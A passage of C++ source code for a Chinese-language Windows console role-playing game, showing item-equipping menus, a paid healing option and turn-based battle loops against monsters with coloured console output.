              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
            
    			
    			  if(j==12)
              {
              	if(hfhzj>=1)
              	{
              	sm=80;
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
              	cout<<"  正在装备中,请稍等...\n";
    			Sleep(1200); 
    			cout<<"  装备成功\n\n";
    			Sleep(800);
    			goto zcd;
    			}
    			else 
              {
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
    			cout<<"武器或装备数量小于1,装备失败\n"; 
    			Sleep(800);
    			goto zcd;
    		  }
              }
              
              if(j==13)
              {
              		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto zcd;
    		  }
    		  
    		  
    		  
    		  
    		  
    		  hx:
    		  system("color 3F");
              SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_GREEN);
               Sleep(400);
              cout<<"  ---------------介绍---------------  \n";
               Sleep(400);
              cout<<"  每次战斗后血量不会重置会一直保持,\n";
    		   Sleep(400);
              cout<<"  如果不回血的话一直战斗有可能会死,\n";
    			Sleep(400);
              cout<<"  死了掉落所有金币和所有武器和装备,\n";
               Sleep(400);
              cout<<"  以防万一您务必要花金币回血150金币,\n";
               Sleep(400);
              cout<<"  回完血后盔甲会自动掉落,请你重新装备盔甲\n";
               Sleep(400);
              cout<<"  请选择\n1.回满血  2.返回主菜单\n";
              cin>>j;
              
              if(j==1)
              {
              	if(jb>=150)
              	{
              	jb-=150;
              	system("color 3F");
              	sm=40;
              	Sleep(1000);
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
              	cout<<"正在回血中\n";
              	
    			Sleep(1000);
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
              	cout<<"  1  \n"; 
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
              	Sleep(1000);
              	cout<<"  2  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_GREEN);
              	Sleep(1000);
              	cout<<"  3  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_RED);
              	Sleep(1000);
              	cout<<"  4  \n";
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_BLUE);
              	Sleep(1000);
              	cout<<"  5  \n";
              	
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_RED|BACKGROUND_BLUE);
              	Sleep(1000);
              	cout<<"回血完毕\n";
              	Sleep(500);
              	goto zcd;
              
    			}
              	else
              	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
              	cout<<"金币不足,不能回血\n\n";
              	Sleep(700);
              	goto zcd;
    		  }
    		  
    		  if(j==2)
    		  {
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto zcd;
    		  }
              
              
              
              
            
              zd:
              system("color 3F");
    	      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
              FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
              FOREGROUND_BLUE);	
              cout<<"                     战斗                      "<<endl;	
              cout<<"   1.大狼 2.野蛮人 3.史莱姆 4.巨人 5.森林巨人  "<<endl;	
              cout<<"   6.森林巨人王 7.深海巨龙 8.九头大蛇 9.三头龙 "<<endl;	
              cout<<"   注意:数字越大,越难打!!!               "<<endl;
    		  cout<<"   ---请你输入"<<endl;
    		  cin>>j;
    		  
    		  if(j==1)		  
    		  {
    		    dm=10;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,大狼\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=3;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了3点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 (在第一关禁止使用手雷)\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                          if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                          if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
                   	
    			   }
    			   
    			     if(n==3)
                   {
                          if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
                   		
    			   }
    			   
    			   
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=20;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了20金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    
              if(j==2)		  
    		  {
    		    dm=13;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,野蛮人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=4;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了4点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 (在第二关禁止使用手雷)\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   	    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   	  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    		
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=30;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了30金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		  
    		  
    		  
    		    if(j==3)		  
    		  {
    		    dm=16;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,史莱姆\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=6;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了6点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                   		 if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                       if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		  if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                          if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
                   		 
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=40;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了40金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
            
    		  
    		  
    		    if(j==4)	  
    		  {
    		    dm=21;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,巨人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=8;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了8点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    		}
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
               if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了绷带,加了5血\n";
    					  }
    			   }
    			   
    			     if(n==2)
                   {
                   
                   		    if(ylb>=1)
                          {
                          sm+=10;
                          ylb--;		  
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了医疗包,加了10血\n";
    					  }
    			   }
    			   
    			     if(n==3)
                   {
                   
                   		   if(zd>=1)
                          {
                          	  dm-=8;
                   		  zd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了炸弹,造成8伤害\n";
    					  }
    			   }
    			   
    			     if(n==4)
                   {
                   
                   	  if(tnt>=1)
                          {
                          dm-=15;
                   		  tnt--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                          FOREGROUND_GREEN);
                          cout<<"你使用了手雷,造成15伤害\n";
    					  }
    			   }
    			}
    			   Sleep(1000);
    			   if(sm<=0)
    			   {
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你被敌方击败了,不幸牺牲\n“你的装备,武器和金币我就偷走了,哈哈哈~~~”死神说\n";
                    jb=0;
                    sm=40;
                    sh=5;
                    bs=0;
                    lj=0;
                    sj=0;
                    emzr=0;
                    hyj=0;
                    jssj=0;
                    pgj=0;
                    szj=0;
                    hjj=0;
                    zspf=0;
                    hy=0;
                    hfhzj=0;
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    			   
    			   if(dm<=0)
    			   {
    			   	jb+=50;
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                    FOREGROUND_RED);
                    cout<<"你击败了敌方获得了50金币\n";
    				SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                    cout<<"\n电脑正在拼命加载中...\n\n\n";
                    Sleep(1000);
                    goto zcd;
    			   }
    	     	}
    			}
    		   
    		  
    		  
    		    if(j==5)		  
    		  {
    		    dm=24;
    		  	for(;;)
    		  	{
    		  		
    		  	system("color 3F");
    		  	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
    		  	cout<<"战斗开始,森林巨人\n";
    		  	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
    		  	cout<<"1.攻击 2.使用技能\n";
    		  	cin>>p;
    		  	
    		  	if(p==1)
    		  	{
    		  	   dm-=sh;
    			   sm-=9;
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
    			   cout<<"正在打斗中,请稍等...\n";
    			    Sleep(1500);
    			   	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                    FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                    FOREGROUND_BLUE);
    			   cout<<"敌方对你造成了9点伤害\n";
    			   cout<<"我方生命值"<<sm<<"\n";
    			   Sleep(300);
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
    			   cout<<"你对敌方造成了"<<sh<<"点伤害\n";
    			   cout<<"敌方生命值"<<dm<<"\n";
    			   } 
    			if(p==2)
    			{
    			   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                   FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                   FOREGROUND_GREEN);
                   cout<<"1.绷带 2.医疗包 3.炸弹 4.手雷\n";
                   cin>>n;
                   
                   if(n==1)
                   {
                   
                    if(bd>=1)
                          {
                          sm+=5;
                          bd--;
                   		  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                          FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
